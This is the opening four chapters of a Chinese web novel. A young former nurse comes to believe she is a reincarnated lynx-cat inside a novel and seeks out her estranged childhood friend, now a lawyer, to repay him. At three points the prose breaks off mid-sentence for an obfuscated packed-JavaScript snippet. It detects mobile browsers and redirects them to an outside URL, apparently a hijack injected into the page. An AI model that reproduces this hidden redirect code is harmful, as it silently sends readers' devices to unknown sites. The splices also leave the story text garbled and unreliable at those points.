《我们小猫咪报恩是这样的》 1. 第 1 章 晚上七点三十分,自云川始发的高铁抵达海市,短暂停留。 许知棠跟随人流下车,站内换乘地铁,低头查看手机上的线路。 她是第一次来海市,却没带行李没背包,连脚上的拖鞋都是从住院部趿出来的,混迹在晚高峰里有些不伦不类。既不像是来旅游,也不像是下班回家。 封闭的地铁车厢里载满疲惫,每个人都低着头,脸上没有半分笑意。和她在云川日复一日看到的景象没有差别。 但许知棠已经不再因为要过这样死气沉沉的人类生活,而感到困扰了。 因为她并不是普通人类。 就在今天下午,因为一场小小的车祸,她的意识觉醒了——这其实是一本小说里的世界,而她身为其中的角色,真实身份是一只小山猫。 初入人类社会,她因为不熟悉交通规则,惨遭大卡车横撵。濒死之际被人所救,她的灵魂误打误撞地进入了这具身体,才捡回一条命。 只有找到当初救她的那个人,帮助他完成最大的心愿,她才能离开现在这具身体,去当自由自在的小猫咪。 许知棠在脑海中把小说内容过了一遍,确信自己没有任何遗漏。 只剩最后三站。地铁门打开,一个穿着全套衬衫裙的女孩走近她身边,托特包上挂着了一只半死不活的咸鱼干挂件,在列车行进中轻轻摇晃。 许知棠的视线不由自主地被吸引,很想伸手抓一下。 她就这样盯了一站路。女孩蓦地笑出声,拿起挂件在她眼前晃了晃,“很可爱吧?” 许知棠眼中迸发出热切的光芒,“超可爱!” “我也很喜欢嘿嘿。”她说,“这是我们律所中秋搞活动,我抽奖兑换的。” 许知棠恍然,“原来律师上班真的要穿职业装啊,我还以为只有电视剧里才这么穿呢。” “嘿嘿。”她绑着干练的马尾,闻言骄傲地甩了一下,“是不是很帅。” “超帅!” 两个人年龄相近,自然地聊了起来。 “我上个月实习期刚过,顺利转正啦,这套衣服是我妈奖励给我的。这还是我人生中第一套正经的职业装呢。” 许知棠说,“恭喜!很好看啊,颜色和版型都特别适合你。” “你这身也很酷啊。”周小愈抿嘴道。 “我?”许知棠低头看了一眼。 她现在穿着一套蓝白条纹的衣裤,像睡衣又像病号服,因为又宽又肥,意外的还挺显松弛感。 更别说她还染了网上很火的暹罗猫发色,眉毛很淡,脸色素白。周小愈其实一上车就注意到她了。 染着这么个性的发色还敢素颜出门,肯定不是一般人。 她不知道的是,许知棠身上穿的是货真价实的病号服。胸前还有三院的刺绣字样,被她用一只异形珍珠拼成的星星发夹挡住了。 只不过现代大都市里,大家对穿衣风格的包容度很高,换句话说就是漠不关心。就算她身上再背个印着“xx精神病院出院纪念”大字的包,也只会被当成是在搞抽象。 “你的发夹也很好看诶。”周小愈说,“我们加个微信呗,互发链接。” 许知棠一想,点头说行。 她更想把发夹直接送给这个偶遇的女孩,反正以后要当猫,也用不着这些小玩意了。但这样太过热情,就像是在逼着人家把小咸鱼挂件拿来交换。强调白送也只会让对方下不来台。 现代人类太有边界感。以往她的热情更常给人带来的是尴尬,“我有个朋友也是做律师的。” “这么巧呀,她是哪个律所的?这圈子不太大,说不定我还听过呢。” “还不清楚他在哪里工作,这是我第一次来找他。” “原来如此!那你需要逛吃攻略吗?之前有外地的同学来找我玩,我还特意做了ppt计划呢。” 周小愈开朗道,“我等下发给你哦。” 许知棠内心感动且膜拜:“J人是神。” 途中遇到聊得来的路人,还能加上好友,真是令人意外,以至于听到站点播报时她甚至有点不舍,“我要下车了。” “这么快啊。”周小愈遗憾地欸了一声,朝她挥挥手,“那再见啦!” 她也笑呵呵地挥手,只是没有说再见。 才出站,刚认识的女孩就传来了一份详细的逛吃攻略,短暂的交汇令人心暖。不过她来海市可是有正事要办的,不一定顾得上玩呢。 许知棠驻足在盛景湾入户大门外,和高楼之上的灯火明窗遥遥相望。 聊天界面路上就已经打开了好几次,一直磨蹭到最后,她才发出微信。 【好久不见蒋谌哥,我在海市,可以和你见面吗?】 附赠一张小比格表情包,以示友好。 地方是没来过,但对许知棠来说,需要完成报恩任务的对象不算陌生人。 起码是不完全陌生。 她六岁时第一次见到蒋谌。印象里,蒋谌就是传说中的老式好小孩,学习成绩优异猛猛跳级,还早睡早起稳重懂事,从小就是一副大人模样。 性格是有一点点高冷,不过人很好,家属院里大孩子扎堆出去玩,她总是落单,只有蒋谌会主动留下来,和她一起看书画画。 在她刚上初中那年,国内爆发了一场严重疫病,情形十分可怕。她的妈妈是云川三院的护士,蒋谌的父母也都在那里当医生,疫情中三人不幸因公殉职。之后蒋谌就离开了云川,跟随姑姑一家生活,只有逢年过节才会回一趟老家。 她最后一次见到蒋谌,是在高二那年的春天。 算起来也有十年了。 十年都没联络过。这时候风风火火地找上门,是挺突兀的。 许知棠握着手机原地踱步。身上衣服单薄,初秋的凉意很容易就渗透进来,叫人止不住地瑟缩。 今天出门穿戴的衣服和包都还在医院,除了手机什么都没带。她做事情容易冲动,丢三落四的挨过好多骂,可还是没能长记性。 微信消息时不时飘红,是云川的好友在找她。许知棠一个个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661100|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划走,看到置顶联系人的消息亮起来,还是感到熟悉的鼻酸。 但她没再像往常一样秒回,吸吸鼻子关掉了屏幕,专心等待。 许知棠是一本小说里的角色,甚至不是人,而是一只猫。 接受这个事实对她而言并不可怕,反而如释重负。 不仅如此,她还觉得自己觉醒得太晚了些。虽然小猫灵魂在人类身体里修复愈合,确实是需要时间,但如果能提前几年——最好是在十来岁,她和蒋谌关系最融洽的时候,完成任务的简单程度肯定会直线上升。 而不是像现在。她完全想不到蒋谌会有什么重大心愿,也没有具体可行的计划去实施。 冲出医院时她意志极其坚定,目标极其明确。现在即将抵达目标地点,她头脑发热的状态逐渐冷却,才开始认识到现实的障碍。 毕竟无缘无故自称是一只来报恩的小猫,就算给最亲近的人听到,恐怕也要带她去医院检查脑子。 更不要说是断联多年的朋友。太久没见,她连蒋谌现在长什么样子都不知道。 他极少发朋友圈,更别说是自拍了,还设置了半年可见,现在打开看都是空白的。 还是去年,看到他评论了共同朋友才能确认,她还没有被删好友。 许知棠是个随机性很强的人,但并不是一个笨人。既然直接说实话没人会信,她就得想别的办法,先把失踪多年的友谊培养回来,再套话套出自己想要的答案。 好在她也是有金手指的。 小说里详细描写了蒋谌当律师以来的剧情,使得她对目标对象的作息规律颇为了解。 就比如今天是周五,她知道蒋谌每周五都会准时下班,所以立刻莽过来,大概率也不会扑空。 苦等了近十分钟,手机里终于有了动静。 【你在海市哪里?】 “在你家楼下啊……”她小声嘀咕着,手指在屏幕上点来点去。 冲动的恶果在此时又有体现。感觉不管怎么说,都像是个心怀不轨的奇怪的人。 更何况,她本来就目的不纯。 还等没打出一句完整的话,语音通话突然响起来。许知棠一愣,手忙脚乱地接通。 “刚刚在忙。” 蒋谌说,“你想什么时候见面?” 他的语速并不快,沉稳利落,可声音很陌生。许知棠还没办法把他跟记忆里的发小匹配到一起,但是脱口而出,“现在可以吗?” “……” “主要是,”她讪讪地补充,“我离你还挺近的。” 对面沉默了一秒,“有多近。” “可能有个……几百米吧?” 许知棠妥协地坦白,“其实我就在你小区外面呢。” 事已至此,她主动打开了位置共享,地图上两个人的坐标距离短得离奇。对面沉默得更久了,不知道是在震惊还是太过无语。 在一个平平无奇的夜晚遭遇发小突袭。 “待着别动。”蒋谌终于开口,“我下去找你。” 2. 第 2 章 这是大功告成的第一步。 许知棠满意地握着手机走来走去,把边缘发脆的落叶踩出碎响。 路上行人不多,灯光萧瑟。她时不时会往绿化带里瞥一眼,想到天气越来越冷,这里或许也会有流浪猫挨饿受冻,比平时更多了些设身处地的同情。 希望她完成任务之后,能变成一只身体强壮的猫。最好毛色帅气,就可以交到更多朋友,一起寻找食物。 微信里冷了几分钟,迟迟不见她回复,何松砚的电话还是打了过来。 “怎么自己出院了?” 和她预料中一样,对面传来的声音清冷中带着疲惫,“我说过,手术结束就会去看你。许知棠,三个小时都等不了吗?” “嗯,我不在医院了。”她答非所问,低头踢着碎叶子,“也不用麻烦你再跑一趟。” 很像是还在赌气的话。 过去交往的六年里,这种时刻发生过太多次。何松砚已经习惯到麻木,不想跟她吵,“检查报告我看过了,没什么问题。今天要值夜班,明天下班我去找你。” “不用。你不是很忙吗?我也有自己的事情要忙。这样刚好,我们谁都不要打扰谁了。” “……” 值班室里响起一声清脆的响。何松砚把笔扔到桌上,靠着椅背捏了捏眉心,隐忍又困惑,“许知棠,你在闹什么?” 这句话在过去交往的时光里,许知棠也听过太多次了。可她还是没有麻木,也习惯不了,“我没有闹。” 她憋回眼泪,大声说,“我现在很好,也不用你再牺牲休息时间来找我,我根本就不在家。” “你不在家?都几点了。”他皱眉道,“又半夜跑出去跟朋友喝酒疯玩?大小也算是个车祸,你能不能安静地休息几天。” “不用你管!反正我们都分手了。” “嗯,第几次了?”他语气平常,带着似有若无的叹息,“反正用不了几天就会和好。” “……不会了。” 她低声说,“这次不会了。” “好了,不闹行不行?”何松砚说,“最近发生确实很多事。等我明天下班,我们好好谈谈。” 在他看不到的地方,许知棠满心悲戚地摇头,“不闹。这次是真的分手。” 他根本就不知道事情的严重性。 人类社会还没有进化到可以接受跨物种相爱的地步。就算有,何松砚也不会接受。 他最讨厌掉毛的东西了。 两个人鸡同鸭讲地通完了电话。 以往分手,她每晚都要难受个把钟头。但从今天起,许知棠找到了更轻松的答案。 因为她是一只小猫咪,处理不好人类感情也是没办法的事。 夜色湮没在失落的眼眸里,不闪烁也不动人。两道车灯由远及近地扫过她,又缓缓倒回,停在她身边。 她站在那里没有反应,茫然地眨了一下眼睛,看车窗降落。明暗交接处,露出一张陌生的男人的脸。 “许知棠?” ** 她真的忘了蒋谌长什么样。 小时候倒是有几张合照,但都是太幼稚的年纪,也没有保存在手机里,否则路上还能看看当作参考。 直到蒋谌开口叫她的名字,见她还是不应,干脆下了车确认。 许知棠下意识地往后撤了两步,谨慎打量。 他穿了套黑色的家居服,又是在大晚上,靠近就像一大团乌云压过来,面无表情的眉压眼更显得整个人很不和善。 蒋谌似乎看穿她在脸盲,当着她的面拨通了微信电话。 手机响起来,她才确定地露出笑容,顷刻间变了副面孔,“蒋谌哥!你现在都长这么高啦。” “……” 蒋谌目光垂落,“什么都没带?” “对啊。”她倒是心大,嘴又甜,“忽然想来海市玩儿,第一个就想到你了。” “毕竟人生只活一次嘛,说走就走的激情应该好好珍惜。” 所以就这样临时起意,穿着一双薄拖鞋,跨越九百多公里。孤身一人,两手空空。 还跟小时候一样。 冒失鬼一个。 “先上车。”蒋谌说。 车里空调开得很足。许知棠不客气地坐进副驾,搓了搓手臂,忽然暖和起来也会起鸡皮疙瘩。 “落脚的酒店定了吗?” “还没呢。我想着见了你再说。” 意料之中的回答。蒋谌说,“律所定向合作的酒店条件还不错,我送你过去。” “……等一下!” 连门都没打算让她进啊。 许知棠久别重逢的热情受了些皮外伤。 “这么久没见了,我还想跟你聊会儿天呢。”她说,“起码让我去你家参观一下,喝杯水再走吧?” “太晚了,去我家聊天不方便。”他直言拒绝。 她以此类推:“可是我们去酒店里聊天,好像也不太OK。” “……” 车子在小区外绕了半圈,终究又驶入地下车库。 许知棠暗自满意,耸了耸鼻子探究车里的香味,似乎是从他身上传来的沐浴露香气,“是刚下班吗?” “嗯。你怎么知道我住在这里?” “去年你迁新居的时候,大姚哥他们不是特意来给你暖房么。他发朋友圈我看到的。” 一个人在海市工作买了房子,在她看来是件非常牛而比之的事。可惜两个人实在太久没联系了,买房这么大的事蒋谌也没跟她说,否则她还想在评论区凑个热闹的。 “下次再来提前告诉我。”蒋谌带她上楼,进电梯按了19层。 “哦哦,好的。” 他家面积没有很大,但在寸土寸金的海市中心商务区,应该也是天价。许知棠正要怀着敬畏的心好好参观一番,却被告知,“没有多余的拖鞋。你要穿我的还是光脚进来?” “……啊?”她愣了愣,从善如流道,“那我就不穿鞋吧。正好今天穿了厚袜子。” 蒋谌没说什么,挪开门口的行李箱,“进来。” 他刚结束出差回到家,行李都还没来得及打开。客厅茶几上放着黑屏的笔记本电脑,还有没拆开的三明治和咖啡。 是他回来时路过楼下餐厅打包上来的,洗完澡再接个人的功夫,屋子里飘满了咖啡香气。 许知棠闻到有点饿了。 但她很快又被靠沙发摆放的溪流缸吸引。鱼缸里只铺了简洁的底沙和一块巨大的分层岩石,照灯开着,数百只黑尾勾鱼在绕岩石群游。 或许是入住时间短,她进门的第一感觉是冷清,黑白灰色调有点像样板间,群游的溪流鱼却让整个家都鲜活起来。出现的瞬间让人眼前一亮。 然后她才看见落地窗外,真正价值最昂贵的那一整面墙的江景,“……哇。” 果然值得天价。 做律师这么能挣吗? 毫无疑问,蒋谌是她所有认识的朋友里面事业发展得最好的一位。这也就显得她来到海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661101|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市,第一时间来投奔他的行为更加合理。 “话说在前面。我工作很忙,没时间陪你玩。” 然而事业发展很好的蒋律和他的家一样没有多少人情味,开口好像在谈合作,“打算待几天?要去哪些地方玩有计划吗?” 许知棠懵了。这跟想的可不一样,她都还没开始卖惨博同情呢,就先被避之不及了,“大概……一周吧?” 她也不好把时间诌得太长。 他点了一下头,拿手机去阳台,应该是有事情要处理,“坐,我去打个电话。” “哦哦。”许知棠表示理解,“那你先忙,我随便看看。洗手间我可以用吗?” “可以。” 她去整理了一下自己的形象,毕竟刚才被冷风吹着,和前男友通电话还掉了几滴眼泪。还好,理顺头发依然是美少女一位,只是眼尾红着,看起来有点凄凉。 蒋谌的家其实没什么可以参观的。卧室门关着,厨房是开放式,看起来一尘不染,大概率都没有被使用过。 除此之外,就只有一间客卧。她探头看了一眼,里面打了一整面墙的书架,有资料书和卷宗临时堆在上面。应该是要做书房的,但没时间布置,现在还只有书架。 她又回到鱼缸前,心想蒋谌这才是实打实的独居。连她租个小公寓都会考虑家人朋友来了住哪呢,他家里却没有多放一张床,一双拖鞋。 不欢迎任何人来。 ——就差把这句打印出来挂在门口了。 话说回来,这是什么鱼呢,能吃吗? 她是真的饿了。 今天起床后就只吃了个早餐,从医院到高铁又到现在,加起来她得有八/九个小时滴水未进了。 蒋谌通完电话回来,就见她坐在沙发上直勾勾地盯着三明治,自以为隐秘地吞咽口水。 他不自觉地挑眉,伸手拿起三明治,看她的视线黏着食物,划了条上扬的弧线。 蒋谌拿着它去厨房加热,微波炉倒是用得挺熟练。热过以后更香了,她猛吸了两口,是黑椒牛柳的香气! 他接了杯过滤水,连同加热好的三明治一起拿回来,“吃吧。” “不不不,这是你的晚餐。”许知棠连连摆手,违心道,“我路上吃过了,现在完全不饿。” “吃。”他说。 牛柳会不会太香了点! 她薄弱的意志力只坚守了两秒,就愉快地接住,“那我等下再帮你点一份。” 在变成流浪猫之前,她还是不要提前适应饿肚子的感觉了。 不见外地霸占了人家的晚餐,她也没忘记初衷,细嚼慢咽地寻找话题唠嗑,“这里好像比云川更冷呢,外面的空气闻起来像要下雨了。蒋谌哥,你都不奇怪我为什么穿这一身出门吗?” 蒋谌把电脑放在腿上,闻言倒是又看了她一眼:“我以为你在搞抽象。” “……” 被他不理解但尊重的眼神注视着,许知棠噎了一下,只好自己说,“其实我今天骑小电驴过马路,走神出了点小事故。” “不过不严重嗷,就腿擦路边栏杆上了,有点瘀血但不影响走路。”她把握尺度,要惨得恰到好处,能引起同情又不至于太离奇被反感。 “再加上刚跟男朋友分手,唉,感觉一身晦气呢。所以必须要出来散散心了。” 鱼缸那头的冷光打过来,显得她的侧脸十分忧郁。 “晦气找我没用。”蒋谌还是没什么表情,“我是打官司的,不是给人做法事的。” 3. 第 3 章 “诶。”许知棠笑得眯起眼睛,似乎一点也没听出当中冷漠和拒绝的意味,“你现在讲话比以前有意思。” 吃完最后一口,她撩开头发喝水,颧骨一侧的肤色创口贴露了出来。长途跋涉,已经被蹭得卷边。 她的发色很少见,头顶黑,中间白,发尾又染黑,不知道是什么奇怪潮流,但在她身上迷之和谐顺眼。 蒋谌看不懂,也没空过问她的抽象,“吃完了?送你去酒店。” 又赶人。 许知棠刚自报完家门,什么话都还没来得及问他呢,就又在门口穿鞋了。 或许,可能,大概是他还有别的事没完成,觉得这个时候聊天太仓促? 出门时他的电脑都还没有关。 “明天你有和别人约吗?”她坐进车里,嘴巴没个空闲,“有时间的话,我们一起去玩吧,我朋友发给我一份超详细的逛吃攻略。” “要工作。” “周六还要加班啊……那周末呢?后天?” 蒋谌反问,“你没有别的朋友在这里吗?” “有是有,但都还没联系呢。”她又开始说好听话,“我第一个就想……” 蒋谌打断她,“没空。” “好吧。”她失落地低头,偷偷撇了一下嘴角。这下没办法找借口了,很明显人家就是不想跟她玩。 大律师的时间真的很宝贵。 不知道蒋谌是没空跟所有人玩,还是单单没空跟她玩。 她想了想,还是不要自取其辱比较好。 车里终于安静了几分钟。 蒋谌打满一圈方向盘,视线偏移。她的侧脸被头发挡住,手指在手机上戳戳点点。 酒店离得不远,十来分钟的距离。下车前,许知棠鼓起勇气对他说,“其实我一直都很想找你玩的。但是隔太久没联系了,想跟你说话也不知道该怎么开口。” 这是真心话。 “不管怎么样,见到你还是很开心。真的。” 有点煽情了。她没好意思看人家感没感动,说完赶紧拉开安全带,下了车。 蒋谌也下了车。 “……” 一怔神的功夫,脚步就被超过。她只好跟着,心说不至于还送到门口吧。没成想两人进了大堂,到前台蒋谌直接拿了房卡,递给她。 “一周。”他说,“下周六买张回家的票,我会抽空送你去车站。” “……好的。” “上去吧。” 等反应过来,人都走远了。 手里捏着房卡,许知棠觉得他的背影分外伟岸。 ** 蒋谌也没空着手回家。 外卖员跟他一起上的楼。电梯里相遇,他都没意识到那餐是自己的,看了手机才确认。 许知棠凭一己之力把消息发得满屏绿。 【谢谢你帮我安排酒店!你果然是大好人!!】 【酒店房间很舒服!感觉可以睡个好觉!】 【对了,我刚才找了一下你家附近的外卖,应该就是你今晚买的那家,但是同样口味的三明治口味已经卖完了[大哭]对不起!】 【不知道你现在喜欢吃什么,所以我把剩下的几种都点了[可爱]热带水果烤肉卷没有点,我记得你对菠萝和芒果都过敏~剩下的你吃不完明天可以当早餐[玫瑰]】 【非常感谢!我超喜欢这个房间!】 蒋谌被一堆感叹号吵到眼睛。 他平时看得最多的是工作消息,用词都冷静克制,严谨到标点符号,方能彰显出专业的态度。 忽然被这么强烈的语气攻击,堪称精神污染,看得人脑袋嗡嗡响。 外卖袋沉得可怕。许知棠吃了一只三明治,转头给他买了五个。 如果不是有详细的微信解说,他或许会把这行为当成是在挑衅。 但也不至于详细到他对什么水果过敏都要列举一遍。 不至于十年没见,还把这种无关紧要的小事挂在嘴边。 蒋谌闹心地盯着手机,半晌,终究还是拿起来。 【明天事情不多,如果天黑之前处理完,我接你一起吃晚饭】 【真的吗?!】 【好的哥!谢谢哥!我什么时间都可以!】 【[表情包]】 屏幕上的小企鹅还在转圈跳舞。酒店房间里,许知棠心满意足地躺平,切回网购APP继续挑选新衣。 要在这里待一周呢。她什么都没带,连手机充电线都得先问酒店要。还有洗漱化妆各种日用品,衣服鞋和包,明天一大早就得去商场,且有得逛。 正忙着,陶悦打了个视频过来。她顺手接了,还没吱声,对面先发出尖锐爆鸣。 “你对自己的脸做了什么?!不准变形!这张脸我还有大用的!” “……” 连着充电线,许知棠小心地翻身,拿近手机给她看,“放心,没do一点,就是头朝下滚了一跤。过几天结痂肯定就好了,不会耽误拍照的。” “怎么忽然摔跤……那我去争取一下,把拍摄时间再往后延几天吧,化妆品渍进去对伤口不好。” 陶悦长叹一声,“吓我一跳,还以为你分手了一时想不开,容貌焦虑跑去do脸。” “没有焦虑到那种地步啦,”她说,“不过这次是真的分手喔。” “呵,你每次都这么说。” 她说“这次真分”的次数一只手都数不过来,在好姐妹这里已经没有信用了,“别的地方伤着没?给我看看。” “腿也摔着了,不过骨头没事。” “诶呦,都卡秃噜皮了,真可怜啊我宝,疼惨了吧?洗澡都费劲。” “特别疼。”许知棠用力点头,“洗澡也不方便。” 也就是隔着视频。如果现在好姐妹在身边,她哪里还有心思网购,先痛哭一场再说。 陶悦问,“何松砚看你没?” “他有手术……” “操,我就知道!让他下半辈子就住手术室里过得了。” “上班时间,确实是病人更重要,这不能怪他。” 许知棠摸着良心说话,“我摔的地方离三院挺近的。而且医院里全是我的前同事啊,你忘啦?大家都会照顾我的。” “哼。什么病人更重要,你不也是病人吗?等会儿,别跟我说你是去医院见他的路上出的事?!你不会是又去找他复合吧?我天,我真的,恨铁不成钢啊我!” 陶桃停顿了一下,激愤之中突然发现,“不过你这也不像在病房啊,也不是你家里。你这是去哪儿了?” “本来是想找他来着……但是没有要复合的意思,我保证。”许知棠只能半真半假地说,“下午我自己躺在病床上,心情实在太糟糕了,就溜出来买了张到海市的车票。” “嗯?有点意思。” 陶悦语气缓和,很快表示赞同,“你都离职小半年了,就知道在家里埋头拍视频,人都要憋坏掉的。终于肯动起来了,挺好的,为你高兴。” 受母亲影响,她大学读的就是护理学专业,毕业以后直接到三院实习工作,跟何松砚一起,但不同科室。 一个在内科,一个在外科。一个是护士,一个是医生。 她是大二心血来潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661102|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参加国画社团,聚餐时认识的何松砚何师兄,对高岭之花一见倾心,追了小半年才修成正果。到现在好多同学朋友提起两人,还要调侃是现实版的《恶作剧之吻》。 陶悦又问,“那他知道么?” “没跟他说呢。” “该!就不跟他说。让他找不着人,急死他。” 许知棠眼眶又泛了酸,感觉不是好兆头,赶紧打住,转而跟她聊工作。 从护士转行之后,她也像很多同龄人一样开始尝试做自媒体。 其实离职的时候她并不是毫无基础,粉丝量有好几万,但她对自己的账号定位不太明确。先前爆了的几条视频都是值夜班一时兴起吐槽的护士日常,意外的有很多人看,离职之后就失去了灵感来源。近来她随大流拍的变装视频和好物分享,流量都有些不尽人意。 幸好她还有一张被基因青睐的漂亮脸蛋,脸型流畅,皮肤细白,熬夜吃辣都不长痘,眼睛眨一眨像带着钩子,小野猫似的。正符合近些年流行的甜中带酷的审美趋势。 陶悦有朋友在开网店,做女装品牌,就给她介绍了平面模特的工作,上个月刚拍了两组,主理人挺满意,回款也及时。否则她真要饿死在家里了。 许知棠没法儿跟好朋友说自己可能真的要当猫了,也不知道还能不能回去完成约好的拍摄,说话间就有些神游。 看她心不在焉,陶悦以为是还在心系前男友,苦口婆心地劝了又劝,催她早点休息,别多想有的没的。 许知棠心里也明白,这次横亘在两人之间的问题是无解的。 何松砚马上就要调职去省医院,希望她能一起去。正好她从医院离职了,他觉得自媒体哪里都可以做,况且省会城市离云川只有两百多公里,想家随时可以回来。 许知棠不想和他去。 两个人都不想谈异地恋,那就只剩分手了。 是她提的。 作为两人之中更任性的那个,一贯都是她提分手。 除了陶悦,周围的人都在劝她。 何松砚大学时就是医学院的风云人物,到了三院更是人人钦羡的对象。人帅个高条件好,专业能力也突出,有这么完美的男朋友,升迁在即,她有什么理由不跟着一起去呢? 她自己都说不出原因,只有一句“不想”,是直觉也是本能。 可每当夜晚降临,过往六年的感情沉甸甸地压在心上,她睡不着,会整宿整宿地翻看两人的聊天记录。看久了就更睡不着了,常常是天亮了眼泪还没干。 今天在医院,她自己坐在病床上处理伤口,心里也不是没有委屈和难过。可她没有找何松砚。他在上手术的消息也是别的护士传话过来的。 她本来是特别容易撒娇诉苦的人,对朋友和男朋友都是这样。可渐渐的,她已经不太敢对何松砚显露脾气,害怕会变成他的负担。 每一次他说“别闹了”,眼中的疲惫都让她胆怯心寒。 工作不顺,恋爱也谈不明白。 她果然不适合当人类。 这个晚上,她没有再看和何松砚有关的东西,而是点进蒋谌的聊天界面。准备复盘一下今天的对话。 满屏几乎都是她在说。而且往上一翻,就能看见十年前,两个人断联时最后的对话。 其实每次换手机,导入数据时许知棠都会把这个对话翻出来再看一遍,再尴尬一遍,硬是到现在都没舍得删。 【我谈恋爱了,男朋友不希望我和别的异性聊天,抱歉啊,要不你把我删了吧】 蒋谌隔了好几个小时才回复她,只有简单的三个字。 【知道了】 4. 第 4 章 小时候不知道测试对方是否拉黑的办法,她提心吊胆地等了好多天,直到看见蒋谌头像换了,才松了口气。 虽然是她自己要求的,但如果他真的那么听话,说绝交就绝交,她还是会伤心的。 后来才发现,蒋谌是没把她拉黑删除,可从此就彻底变成她列表里的隐形人,再也没跟她讲过一句话。跟绝交没什么两样。 非常有原则的一个人。 许知棠反思往事,心想他不知道内情,难免会认为她重色轻友到了要绝交的地步,对她有意见也是正常的。 没准儿他到现在还在记仇呢,所以今天见面,才对她态度生疏冷漠,没有一个笑脸。 过去的形象是无法挽回了,只能靠现在努力重建。 她思考接下来的任务规划,要在一周内让蒋谌对她敞开心扉,打听到他最大的心愿是什么,还要留出时间去完成……难免仓促了些。 不过情况也没有很糟,他记着仇都还给她订酒店呢,说明还是有在关心她,念着旧情呢。 不过也有可能是责任感使然。蒋谌从小就很会操心,院里大人都知道,所以她爸妈才会在各自加班有事要忙的时候,放心叫她去蒋谌家玩。 那时候院里别的孩子年纪都比她大好几岁,而且除了她全是男孩,总跟着跑出去玩会有点累,也有点危险。蒋谌只比她大一岁,却很有哥哥的样子,总会看着她,不许爬高上低,不许湿手摸电开关。 这也不许那也不让,管得比大人都严,老实说是有点烦人的,但她还是很喜欢跟蒋谌玩,为什么呢。 当然是因为在全院小孩里,蒋谌长得最好看。 好看到她愿意捧着作业本去请教,学不进去的时候被他温柔地鼓励两句,就又美滋滋地继续演算。 蒋谌小学连跳了好几级,辅导她的功课绰绰有余,有任何搞不懂的题目,都会不厌其烦地换着思路给她讲好几遍。 在许小棠眼里,他除了长得好看,和别的哥最大的不同之处就是巨有耐心,甚至可以超越同龄人的比赛圈,比大人们对她还有耐心。 她从小河里摸了蝌蚪带回家,是蒋谌帮忙养大,画了几笔就失去耐心的填色绘本,也是他帮忙涂完。 他答应过的事情全部都会实现,无论多晚去找他,从来没有黑脸不理人的时候。哪怕表情总是淡淡的,也能看得出眼睛在笑。 和现在太不一样。 许知棠闭上眼,回忆今天看到的蒋谌的样子,总觉得不太清晰。好像是他,又好像不是。 可这世界每天都在变,每个人都在往前走,又有谁会一直和原来一个样呢。 许知棠乐观地认为,反正一个人的本性是不会变的。 她更应该庆幸,身处在这个离奇的小说世界里,她的任务对象是蒋谌,好过其他完全不了解的陌生人。 时间紧任务重,许知棠调了个早晨八点半的闹钟,隔天铃声一响,忍着困劲儿起床洗漱,赶着商场开门的时间准时冲进去扫荡。 做护士那么多年,别的不说,她精力还算是比较旺盛的,否则真扛不下来。 三个小时结束采购,她大包小包地拎回酒店,接着又把新衣服送去洗烘,然后重新洗漱,化妆卷头发,中间只抽空吃了几口酸奶碗当午饭。 陶悦再打来时,她已经在涂口红收尾,“贝贝,我突然想到你既然在海市玩儿,要不顺便去面个试呢,我有朋友就在那边当星探。大城市工作机会多多了呀。” “好呀。”许知棠不假思索地答应。她在过去的几个小时内迅速地挥霍掉半数存款,很需要回血。 做模特也是遵循就近原则,她常住地是云川,在一个小二线城市里工作不多,又没有签公司,基本全靠朋友介绍。 “不过我应该不会在这里待很久的,就这几天可以吗?”她说,“之后我还不知道会不会再来呢。” 之后她是人是猫都还不确定呢。 “你有心就行,我给你问问。”陶悦说,“还有啊,那个谁去你家了,没找着你,刚才问到我这儿来了,我可没暴露你行踪啊,一律就说的不知道。” 许知棠强装淡定,“谢啦。” 今天何松砚发的微信消息她一条都没有回,电话也挂掉了,态度反常。他肯定也发现了,所以比平时追问得更多些。 但他不会追问很久的。 以往她也有赌气的时候,想要被多哄一会儿,可是往往都会得到冷处理。搞到最后,还是她乖乖去找个台阶下,还要反省自己无理取闹。 何松砚太知道她的脾气。不管前面发生什么事情,是谁对谁错,只要他一冷,许知棠就会难受,忍不住先低头。 因为这个相处模式,她没少挨姐妹的骂。可她觉得两个人在一起,只要对维持感情融洽是有利的,谁先低头都无所谓。她没那么在乎。 “这回还真有点出息呢,保持啊。”陶悦十分欣赏,“哎,怎么这个点了还在化妆,上午没出去玩?” “晚上和朋友约饭了。”她抿了抿嘴唇,感觉颜色不太搭,就又擦掉重涂另一个色号。幸好买了两支。 “呦,跟谁?” “蒋谌哥啊,他就在海市工作嘛。” 陶悦是她初中同学,也是玩得最久的好朋友,认识得早,当然也听她说过蒋谌。 